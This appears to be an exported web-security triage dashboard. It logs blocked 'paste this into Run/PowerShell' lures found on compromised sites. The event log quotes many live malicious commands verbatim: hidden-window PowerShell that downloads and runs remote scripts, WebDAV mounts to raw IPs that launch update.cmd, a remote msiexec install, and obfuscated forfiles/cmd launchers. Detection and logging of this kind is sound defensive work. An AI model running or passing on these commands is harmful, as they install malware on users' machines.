Search Results
Triage workspace with event feed, detail panel, and quick actions.
24h alerts 2
24h blocks 0
pending 1986
Selecciona un resultado para ver el detalle enriquecido.
Resumen asistido
localSelecciona un evento para ver un resumen corto.
Fecha
País
URL
URL previa
IP (manual report)
Extension (manual report)
Dominio ya bloqueado
Motivos detectados
Snippets detectados
Evidencias (signals)
Detalle de score
MITRE ATT&CK Blueprint
Sin TTPs detectadas para este evento.
Contexto resaltado
Raw JSON
Eventos por dominio (agrupados)
| Dominio | Eventos | Impactos (dup) | Bloqueos | Score max | Última actividad |
|---|---|---|---|---|---|
| www.google.com | 8 | 8 | 7 | 48/100 | 2026-07-28T09:18:49+00:00 |
| cdn.southeastwater.co.uk | 1 | 1 | 0 | 16/100 | 2026-07-27T16:49:16+00:00 |
| fmi.univ-bba.dz | 4 | 4 | 0 | 60/100 | 2026-07-26T15:41:39+00:00 |
| articulateusercontent.com | 2 | 2 | 0 | 16/100 | 2026-07-15T16:06:31+00:00 |
| andrescuartero.cat | 3 | 295 | 3 | 0/100 | 2026-07-14T07:07:42+00:00 |
| www.ceipalandalus.net | 4 | 4 | 0 | 53/100 | 2026-07-13T07:50:28+00:00 |
| www.iesbeatrizdesuabia.es | 4 | 4 | 0 | 53/100 | 2026-07-13T07:10:24+00:00 |
| panel.findatreasure.uk | 1 | 1 | 0 | 20/100 | 2026-07-12T12:50:28+00:00 |
| www.aprenalvalles.cat | 2 | 2 | 0 | 40/100 | 2026-07-10T12:05:03+00:00 |
| interstate.myinvestment.properties | 1 | 1 | 0 | 45/100 | 2026-07-10T12:05:03+00:00 |
| 1.com-sign.net | 1 | 55 | 1 | 0/100 | 2026-06-29T19:00:47+00:00 |
| microtrol-india.com | 1 | 61 | 1 | 0/100 | 2026-06-29T18:55:44+00:00 |
| sensientflavorsandextracts.com | 1 | 2 | 0 | 53/100 | 2026-06-29T08:01:29+00:00 |
| fassett.com.au | 2 | 2 | 0 | 59/100 | 2026-06-26T10:39:07+00:00 |
| www.ahousesriracha.com | 1 | 1 | 0 | 50/100 | 2026-06-26T10:01:22+00:00 |
| demarches.quebec | 1 | 1 | 0 | 49/100 | 2026-06-26T09:56:02+00:00 |
| legacyhomebuildersca.com | 3 | 8 | 1 | 58/100 | 2026-06-26T09:46:15+00:00 |
| www.lycee-maritime-larochelle.fr | 2 | 2 | 0 | 59/100 | 2026-06-26T08:31:15+00:00 |
| qantify.net | 1 | 1 | 0 | 54/100 | 2026-06-26T08:31:03+00:00 |
| merkantalolol.asia | 1 | 1 | 0 | 53/100 | 2026-06-26T07:47:53+00:00 |
| www.gielle-service.it | 1 | 1 | 0 | 50/100 | 2026-06-26T07:43:00+00:00 |
| she-explores.com | 2 | 2 | 0 | 55/100 | 2026-06-26T07:31:02+00:00 |
| goonholon.co.il | 1 | 1 | 0 | 51/100 | 2026-06-26T07:31:02+00:00 |
| pecon.com.sg | 1 | 1 | 0 | 53/100 | 2026-06-26T07:31:02+00:00 |
| gwdknt.dhw.co.jp | 2 | 2 | 0 | 34/100 | 2026-06-25T06:55:33+00:00 |
| update.greasyfork.org | 11 | 27 | 0 | 53/100 | 2026-06-18T13:33:31+00:00 |
| unlock.icmp.ing | 6 | 13 | 0 | 53/100 | 2026-06-18T13:33:30+00:00 |
| github.com | 1 | 1 | 0 | 70/100 | 2026-06-11T09:24:03+00:00 |
| clickfix.carsonww.com | 1 | 1 | 0 | 36/100 | 2026-06-10T15:18:07+00:00 |
| hai.stanford.edu | 1 | 1 | 0 | 16/100 | 2026-06-10T09:55:25+00:00 |
| socheaphost.com | 40 | 55 | 10 | 83/100 | 2026-06-06T18:38:52+00:00 |
| www.exploretock.com | 1 | 2 | 0 | 20/100 | 2026-06-05T13:33:01+00:00 |
| columbnezhjdq.com | 1 | 4 | 1 | 20/100 | 2026-06-05T13:12:41+00:00 |
| www.gesundeswasser.co | 1 | 1 | 1 | 74/100 | 2026-06-05T12:35:09+00:00 |
| release-assets.githubusercontent.com | 1 | 2 | 1 | 53/100 | 2026-06-01T18:51:40+00:00 |
| 192.168.0.49 | 2 | 6 | 0 | 75/100 | 2026-06-01T09:01:40+00:00 |
| 119.45.45.15 | 1 | 2 | 0 | 65/100 | 2026-06-01T06:11:52+00:00 |
| 5.2.243.240 | 1 | 2 | 0 | 55/100 | 2026-06-01T06:11:52+00:00 |
| 192.168.0.55 | 1 | 2 | 0 | 65/100 | 2026-06-01T06:11:51+00:00 |
| search.brave.com | 2 | 127 | 1 | 0/100 | 2026-05-26T09:30:02+00:00 |
| bebeto-tn.com | 1 | 1 | 0 | 53/100 | 2026-05-22T13:11:55+00:00 |
| www.interceptsecurityservices.ca | 1 | 1 | 0 | 53/100 | 2026-05-22T12:06:58+00:00 |
| lorenzmediation.com | 1 | 1 | 0 | 53/100 | 2026-05-22T12:01:24+00:00 |
| biletors.cfd | 5 | 5 | 0 | 53/100 | 2026-05-22T11:55:56+00:00 |
| lacuchararestaurante.es | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| pierrejoinery.co.uk | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| thespaceprojectco.com.au | 1 | 1 | 0 | 53/100 | 2026-05-22T11:55:51+00:00 |
| raldirisgonzalez.com | 1 | 1 | 0 | 54/100 | 2026-05-22T11:50:55+00:00 |
| bec-group.com | 1 | 1 | 0 | 53/100 | 2026-05-22T11:45:55+00:00 |
| teacheducator.com | 1 | 1 | 0 | 53/100 | 2026-05-22T11:45:55+00:00 |
| cert.ssi.gouv.fr | 1 | 2 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| rausi.ca | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| serviceware-se.com | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| www.enisa.europa.eu | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| www.lmforums.com | 1 | 1 | 0 | 16/100 | 2026-05-21T17:23:23+00:00 |
| pdf.lab.local | 1 | 2 | 0 | 20/100 | 2026-05-21T08:06:19+00:00 |
| cdpn.io | 9 | 9 | 0 | 48/100 | 2026-05-18T07:58:57+00:00 |
| chatgpt.com | 6 | 6 | 0 | 34/100 | 2026-05-14T18:08:03+00:00 |
| clickhere.click | 1 | 1 | 1 | 50/100 | 2026-05-08T10:10:23+00:00 |
| www.ciopowerlist.com | 1 | 1 | 1 | 46/100 | 2026-05-08T10:10:23+00:00 |
| todai.ai | 1 | 1 | 1 | 46/100 | 2026-05-07T18:49:47+00:00 |
Capturas web (before/after)
Último escaneo
scan_id: 1554 | mail.fundacion-primavera.org | 2026-03-09T13:23:28+00:00
Antes
approvedDespués
approvedVista tabular clasica
| Fecha | Dominio | Marcado | Mensaje | Estado |
|---|---|---|---|---|
| 2026-07-28T09:18:49+00:00 | www.google.com | REINCIDENTE DOM x9 | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "Skip to main contentAccessibility help AI Mode All Forums Short videos Shopping More Upgrade why isn't my gardening webpage appearing in google natural searc..." Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "Skip to main contentAccessibility help AI Mode All Forums Short videos Shopping More Upgrade why isn't my gardening webpage appearing in google natural searc..." Confidence score: 29/100 | pending |
| 2026-07-27T16:49:16+00:00 | cdn.southeastwater.co.uk | - | Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: Sussex_and_West_Public_Notice_2026.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: cdn.southeastwater.co.uk" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions google but host is cdn.southeastwater.co.uk." Confidence score: 16/100 | pending |
| 2026-07-26T15:41:39+00:00 | fmi.univ-bba.dz | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'authorization-code-cdn.info/ec9bc3510ca9933c' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'authorization-code-cdn.info/ec9bc3510ca9933c' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-07-26T15:36:55+00:00 | fmi.univ-bba.dz | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'authorization-code-cdn.info/b02446900a43ae23' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'authorization-code-cdn.info/b02446900a43ae23' -UseBasicParsing)"; exit " Confidence score: 60/100 | pending |
| 2026-07-26T15:36:55+00:00 | fmi.univ-bba.dz | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'authorization-code-cdn.info/98b7ea7f07e2822f' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'authorization-code-cdn.info/98b7ea7f07e2822f' -UseBasicParsing)"; exit " Confidence score: 58/100 | pending |
| 2026-07-26T15:36:55+00:00 | fmi.univ-bba.dz | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'authorization-code-cdn.info/506b04d930d7b7ae' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'authorization-code-cdn.info/506b04d930d7b7ae' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-07-15T16:06:31+00:00 | articulateusercontent.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: nESSczrR2hBnpZk2.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: articulateusercontent.com" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-07-15T15:36:31+00:00 | articulateusercontent.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: zV4zkZp5-NlNMaeH.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: articulateusercontent.com" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-07-13T06:12:47+00:00 | andrescuartero.cat | REINCIDENTE DOM x3 | Reporte manual del usuario | pending |
| 2026-07-14T06:22:41+00:00 | andrescuartero.cat | REINCIDENTE DOM x3 | Reporte manual del usuario | pending |
| 2026-07-14T06:17:41+00:00 | andrescuartero.cat | REINCIDENTE DOM x3 | Reporte manual del usuario | pending |
| 2026-07-13T07:50:28+00:00 | www.ceipalandalus.net | - | Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: Aula-mediodia-con-enlaces.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: www.ceipalandalus.net" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is www.ceipalandalus.net." Confidence score: 10/100 | pending |
| 2026-07-13T07:35:26+00:00 | www.ceipalandalus.net | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'blakcinwhitexn.cc/ae6e199d088a658b' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'blakcinwhitexn.cc/ae6e199d088a658b' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-07-13T07:10:24+00:00 | www.iesbeatrizdesuabia.es | - | The page asks you to paste commands in CMD/PowerShell/Run. Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: TRATAMIENTO-DE-LA-LECTURA-2024-25.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: www.iesbeatrizdesuabia.es" Detected snippet: "Runtime verdict: low (16/100)" Detected snippet: "Models URL:0 Content:16 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Confidence score: 26/100 | pending |
| 2026-07-12T12:50:28+00:00 | panel.findatreasure.uk | - | Detected snippet: "Non-HTML content probe (text/html)" Detected snippet: "Filename: 8-es2015.e233d3d36ab69dad11a2.js" Detected snippet: "Extension: .js" Detected snippet: "Blocked extension: .js" Detected snippet: "Unfamiliar download host: panel.findatreasure.uk" Detected snippet: "Runtime verdict: low (20/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:20" Detected snippet: "Runtime reason: Download risk engine classified artifact as unsafe." Confidence score: 20/100 | pending |
| 2026-07-10T12:05:03+00:00 | www.aprenalvalles.cat | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. Fragmento detectado: "pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\lwwu.1pishbini.com@SSL\4f894ac1-8d0b-4..." Fragmento detectado: "Runtime verdict: low (19/100)" Fragmento detectado: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\lwwu.1pishbini.com@SSL\4f894ac1-8d0b-4..." Puntuación de confianza: 40/100 | pending |
| 2026-07-10T12:05:03+00:00 | www.aprenalvalles.cat | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. Fragmento detectado: "pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\nnny.1pishbini.com@SSL\90e13b17-94b8-4..." Fragmento detectado: "Runtime verdict: low (19/100)" Fragmento detectado: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\nnny.1pishbini.com@SSL\90e13b17-94b8-4..." Puntuación de confianza: 37/100 | pending |
| 2026-07-10T12:05:03+00:00 | interstate.myinvestment.properties | REINCIDENTE DOM x1 | • Comando sospechoso detectado en el portapapeles. • Patrón de comando sospechoso detectado. • Fragmento detectado: "msiexec /i http://inkbookwriters.com/verify /qn" • Portapapeles bloqueado: "msiexec /i http://inkbookwriters.com/verify /qn" • Puntuación de confianza: 45/100 | pending |
| 2026-07-08T10:15:03+00:00 | www.ceipalandalus.net | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'hilacbatoriaaa.cc/241289ab0aac232f' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'hilacbatoriaaa.cc/241289ab0aac232f' -UseBasicParsing)"; exit " Confidence score: 49/100 | pending |
| 2026-07-08T10:10:03+00:00 | www.ceipalandalus.net | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'hilacbatoriaaa.cc/2b9a64efd6e6e681' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'hilacbatoriaaa.cc/2b9a64efd6e6e681' -UseBasicParsing)"; exit " Confidence score: 49/100 | pending |
| 2026-07-07T07:41:44+00:00 | www.iesbeatrizdesuabia.es | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'pluhabovra.info/586f7f8cf59867b8' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'pluhabovra.info/586f7f8cf59867b8' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-07-07T07:36:44+00:00 | www.iesbeatrizdesuabia.es | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'pluhabovra.info/4829a7c68f1ed41b' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'pluhabovra.info/4829a7c68f1ed41b' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-07-07T07:26:44+00:00 | www.iesbeatrizdesuabia.es | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "powershell -w h "iex(irm 'pluhabovra.info/2f0f848279abaa9e' -UseBasicParsing)"; exit " Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "powershell -w h "iex(irm 'pluhabovra.info/2f0f848279abaa9e' -UseBasicParsing)"; exit " Confidence score: 53/100 | pending |
| 2026-06-26T07:56:31+00:00 | 1.com-sign.net | REINCIDENTE DOM x1 | Reporte manual del usuario | pending |
| 2026-06-26T07:47:53+00:00 | microtrol-india.com | REINCIDENTE DOM x1 | Reporte manual del usuario | pending |
| 2026-06-29T07:40:24+00:00 | sensientflavorsandextracts.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "powershell -w h -c "iex(irm 'verificationscodes.beer/d19e5d6b8ebf0e0a' -UseBasicParsing)"; exit " Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:8 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Very long subdomain label." Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "powershell -w h -c "iex(irm 'verificationscodes.beer/d19e5d6b8ebf0e0a' -UseBasicParsing)"; exit " Puntuación de confianza: 53/100 | pending |
| 2026-06-26T10:39:07+00:00 | fassett.com.au | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c net use Z: http://185.246.223.71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c net use Z: http://185.246.223.71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Puntuación de confianza: 59/100 | pending |
| 2026-06-26T10:39:00+00:00 | fassett.com.au | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c net use Z: http://94.156.170.255/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c net use Z: http://94.156.170.255/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Puntuación de confianza: 54/100 | pending |
| 2026-06-26T10:01:22+00:00 | www.ahousesriracha.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is www.ahousesriracha.com." Portapapeles bloqueado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Puntuación de confianza: 50/100 | pending |
| 2026-06-26T09:56:02+00:00 | demarches.quebec | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: " powershell -c "iex(irm 'iwannagetmoremoney.beer/e5e6ac993fcce560' -UseBasicParsing)"; exit | pending |
| 2026-06-26T08:26:07+00:00 | legacyhomebuildersca.com | REINCIDENTE DOM x1 | Reporte manual del usuario | pending |
| 2026-06-26T08:31:15+00:00 | www.lycee-maritime-larochelle.fr | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:8 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Very long subdomain label." Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Puntuación de confianza: 59/100 | pending |
| 2026-06-26T08:31:03+00:00 | www.lycee-maritime-larochelle.fr | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:8 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Very long subdomain label." Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Puntuación de confianza: 54/100 | pending |
| 2026-06-26T08:31:03+00:00 | qantify.net | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c net use Z: http://185.246.223.71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c net use Z: http://185.246.223.71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Puntuación de confianza: 54/100 | pending |
| 2026-06-26T08:31:03+00:00 | legacyhomebuildersca.com | REINCIDENTE DOM x1 | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Puntuación de confianza: 58/100 | pending |
| 2026-06-26T08:26:07+00:00 | legacyhomebuildersca.com | REINCIDENTE DOM x1 | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Puntuación de confianza: 53/100 | pending |
